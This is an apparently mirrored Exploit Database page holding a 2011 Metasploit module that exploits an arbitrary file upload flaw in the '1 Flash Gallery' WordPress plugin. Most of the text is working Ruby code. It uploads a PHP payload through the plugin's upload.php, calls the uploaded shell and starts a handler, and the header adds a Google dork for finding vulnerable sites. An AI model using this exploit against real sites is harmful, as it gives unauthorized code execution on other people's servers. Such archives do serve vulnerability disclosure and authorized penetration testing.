WordPress Plugin 1 Flash Gallery 1.30 < 1.5.7a - Arbitrary File Upload (Metasploit)

• Exploit Database
• 100 阅读

• 作者： Ben Schmidt
  日期： 2011-09-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17801/

• # Exploit Title: 1 Flash Gallery WordPress Plugin Arbitrary File Upload Exploit
  # # Google Dork:inurl:"wp-content/plugins/1-flash-gallery"
  # # Date: 09/06/2011
  # # Author: Ben Schmidt
  # # Software Link: http://downloads.wordpress.org/plugin/1-flash-gallery.1.5.6.zip
  # # Version: v1.30 to v1.5.7a (tested on 1.5.6 and 1.5.7 prior to patch)
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => '1 Flash Gallery WordPress Plugin File Upload Exploit',
  			'Description'=> %q{
  This module exploits an arbitrary file upload vulnerability in
  the '1 Flash Gallery' WordPress plugin.
  			},
  			'Author' => [ 'Ben Schmidt'],
  			'License'=> MSF_LICENSE,
  			'References' => ["http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" ],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					# Arbitrary big number. The payload gets sent as an HTTP
  					# POST request, so it's possible this might be smaller (maybe?)
  # but very unlikely.
  					'Space' => 262144, # 256k
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DefaultTarget' => 0,
  'DisclosureDate' => 'Sept 6, 2011'
  ))
  
  		register_options([
  				OptString.new('URI', [true, "Path to WordPress", "/"]),
  			], self.class)
  	end
  
  def exploit
  		boundary = rand_text_alphanumeric(6)
  fn = rand_text_alphanumeric(8)
  		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
  		data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
  		data << payload.encoded
  		data << "\r\n--#{boundary}--"
  
  		res = send_request_raw({
  			'uri'	=> datastore['URI'] + "/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",
  			'method'=> 'POST',
  			'data'=> data,
  			'headers' =>
  			{
  				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
  				'Content-Length' => data.length,
  			}
  		}, 25)
  
  if (res)
  			print_status("Successfully uploaded shell.")
  shell_path = res.body.split("_")[0]
  print_status("Trying to access shell at #{shell_path}...")
  res = send_request_raw({
  'uri'	=> datastore['URI'] + shell_path,
  'method'=> 'GET',
  }, 0.01)
  
  		else
  			print_error("Error uploading shell")
  		end
  
  handler
  end
  end
  

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